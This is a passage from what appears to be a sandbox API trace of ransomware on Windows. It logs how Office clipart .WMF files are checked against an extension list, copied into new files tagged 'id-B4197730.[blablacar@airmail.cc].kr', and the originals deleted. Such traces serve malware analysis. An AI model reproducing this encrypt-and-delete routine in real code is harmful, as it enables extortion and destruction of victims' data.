Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0184.412] lstrlenW (lpString=".1cd") returned 4 [0184.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0184.412] lstrlenW (lpString=".jpg") returned 4 [0184.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0184.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0184.412] lstrlenW (lpString=".doc") returned 4 [0184.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.412] lstrlenW (lpString=".docx") returned 5 [0184.412] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.412] lstrlenW (lpString=".pdf") returned 4 [0184.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.412] lstrlenW (lpString=".xls") returned 4 [0184.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.412] lstrlenW (lpString=".xlsx") returned 5 [0184.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.413] lstrlenW (lpString=".ppt") returned 4 [0184.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0184.413] lstrlenW (lpString=".zip") returned 4 [0184.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.413] lstrlenW (lpString=".rar") returned 4 [0184.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.413] lstrlenW (lpString=".bz2") returned 4 [0184.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.413] lstrlenW (lpString=".7z") returned 3 [0184.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0184.413] lstrlenW (lpString=".dbf") returned 4 [0184.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0184.413] lstrlenW (lpString=".1cd") returned 4 [0184.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0184.413] lstrlenW (lpString=".jpg") returned 4 [0184.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.413] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.413] lstrlenW (lpString="BS01635_.WMF") returned 12 [0184.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.414] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=14996) returned 1 [0184.414] CloseHandle (hObject=0x500) returned 1 [0184.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220 [0184.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.415] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.415] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.416] GetLastError () returned 0x0 [0184.416] ReadFile (in: hFile=0x500, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3a94, lpOverlapped=0x0) returned 1 [0184.417] WriteFile (in: hFile=0x518, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0184.418] ReadFile (in: hFile=0x500, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.419] WriteFile (in: hFile=0x518, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.419] SetEndOfFile (hFile=0x518) returned 1 [0184.419] CloseHandle (hObject=0x518) returned 1 [0184.419] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.419] SetEndOfFile (hFile=0x500) returned 1 [0184.421] CloseHandle (hObject=0x500) returned 1 [0184.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0184.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0184.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0184.423] lstrlenW (lpString=".doc") returned 4 [0184.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.423] lstrlenW (lpString=".docx") returned 5 [0184.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.423] lstrlenW (lpString=".pdf") returned 4 [0184.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.423] lstrlenW (lpString=".xls") returned 4 [0184.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.423] lstrlenW (lpString=".xlsx") returned 5 [0184.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.423] lstrlenW (lpString=".ppt") returned 4 [0184.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0184.423] lstrlenW (lpString=".zip") returned 4 [0184.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.423] lstrlenW (lpString=".rar") returned 4 [0184.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.423] lstrlenW (lpString=".bz2") returned 4 [0184.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.423] lstrlenW (lpString=".7z") returned 3 [0184.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0184.423] lstrlenW (lpString=".dbf") returned 4 [0184.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0184.423] lstrlenW (lpString=".1cd") returned 4 [0184.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0184.423] lstrlenW (lpString=".jpg") returned 4 [0184.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0184.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0184.424] lstrlenW (lpString=".doc") returned 4 [0184.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.424] lstrlenW (lpString=".docx") returned 5 [0184.424] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.424] lstrlenW (lpString=".pdf") returned 4 [0184.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.424] lstrlenW (lpString=".xls") returned 4 [0184.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.424] lstrlenW (lpString=".xlsx") returned 5 [0184.424] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.424] lstrlenW (lpString=".ppt") returned 4 [0184.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0184.424] lstrlenW (lpString=".zip") returned 4 [0184.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.424] lstrlenW (lpString=".rar") returned 4 [0184.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.424] lstrlenW (lpString=".bz2") returned 4 [0184.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.424] lstrlenW (lpString=".7z") returned 3 [0184.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0184.424] lstrlenW (lpString=".dbf") returned 4 [0184.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0184.424] lstrlenW (lpString=".1cd") returned 4 [0184.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0184.424] lstrlenW (lpString=".jpg") returned 4 [0184.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.425] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.425] lstrlenW (lpString="BS01636_.WMF") returned 12 [0184.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.426] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1874) returned 1 [0184.426] CloseHandle (hObject=0x500) returned 1 [0184.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220 [0184.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.426] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.426] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0184.538] GetLastError () returned 0x0 [0184.538] ReadFile (in: hFile=0x500, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x752, lpOverlapped=0x0) returned 1 [0184.540] WriteFile (in: hFile=0x50c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x760, lpOverlapped=0x0) returned 1 [0184.541] ReadFile (in: hFile=0x500, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.541] WriteFile (in: hFile=0x50c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.541] SetEndOfFile (hFile=0x50c) returned 1 [0184.541] CloseHandle (hObject=0x50c) returned 1 [0184.541] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.541] SetEndOfFile (hFile=0x500) returned 1 [0184.544] CloseHandle (hObject=0x500) returned 1 [0184.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0184.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0184.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0184.547] lstrlenW (lpString=".doc") returned 4 [0184.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.547] lstrlenW (lpString=".docx") returned 5 [0184.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.547] lstrlenW (lpString=".pdf") returned 4 [0184.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.547] lstrlenW (lpString=".xls") returned 4 [0184.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.548] lstrlenW (lpString=".xlsx") returned 5 [0184.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.548] lstrlenW (lpString=".ppt") returned 4 [0184.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0184.548] lstrlenW (lpString=".zip") returned 4 [0184.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.548] lstrlenW (lpString=".rar") returned 4 [0184.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.548] lstrlenW (lpString=".bz2") returned 4 [0184.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.548] lstrlenW (lpString=".7z") returned 3 [0184.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0184.548] lstrlenW (lpString=".dbf") returned 4 [0184.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0184.548] lstrlenW (lpString=".1cd") returned 4 [0184.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0184.548] lstrlenW (lpString=".jpg") returned 4 [0184.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0184.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0184.548] lstrlenW (lpString=".doc") returned 4 [0184.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.548] lstrlenW (lpString=".docx") returned 5 [0184.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.548] lstrlenW (lpString=".pdf") returned 4 [0184.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.548] lstrlenW (lpString=".xls") returned 4 [0184.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.549] lstrlenW (lpString=".xlsx") returned 5 [0184.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.549] lstrlenW (lpString=".ppt") returned 4 [0184.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0184.549] lstrlenW (lpString=".zip") returned 4 [0184.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.549] lstrlenW (lpString=".rar") returned 4 [0184.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.549] lstrlenW (lpString=".bz2") returned 4 [0184.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.549] lstrlenW (lpString=".7z") returned 3 [0184.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0184.549] lstrlenW (lpString=".dbf") returned 4 [0184.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0184.549] lstrlenW (lpString=".1cd") returned 4 [0184.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0184.549] lstrlenW (lpString=".jpg") returned 4 [0184.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.549] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.549] lstrlenW (lpString="BS01638_.WMF") returned 12 [0184.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.550] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10538) returned 1 [0184.551] CloseHandle (hObject=0x500) returned 1 [0184.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220 [0184.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.551] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.551] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0184.552] GetLastError () returned 0x0 [0184.552] ReadFile (in: hFile=0x500, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x292a, lpOverlapped=0x0) returned 1 [0184.554] WriteFile (in: hFile=0x50c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2930, lpOverlapped=0x0) returned 1 [0184.555] ReadFile (in: hFile=0x500, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.555] WriteFile (in: hFile=0x50c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.555] SetEndOfFile (hFile=0x50c) returned 1 [0184.555] CloseHandle (hObject=0x50c) returned 1 [0184.555] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.555] SetEndOfFile (hFile=0x500) returned 1 [0184.558] CloseHandle (hObject=0x500) returned 1 [0184.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0184.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0184.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0184.559] lstrlenW (lpString=".doc") returned 4 [0184.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.559] lstrlenW (lpString=".docx") returned 5 [0184.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.559] lstrlenW (lpString=".pdf") returned 4 [0184.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.559] lstrlenW (lpString=".xls") returned 4 [0184.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.559] lstrlenW (lpString=".xlsx") returned 5 [0184.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.560] lstrlenW (lpString=".ppt") returned 4 [0184.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0184.560] lstrlenW (lpString=".zip") returned 4 [0184.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.560] lstrlenW (lpString=".rar") returned 4 [0184.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.560] lstrlenW (lpString=".bz2") returned 4 [0184.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.560] lstrlenW (lpString=".7z") returned 3 [0184.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0184.560] lstrlenW (lpString=".dbf") returned 4 [0184.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0184.560] lstrlenW (lpString=".1cd") returned 4 [0184.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0184.560] lstrlenW (lpString=".jpg") returned 4 [0184.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.560] lstrlenW (lpString="C:\\Program Files\\Microsoft 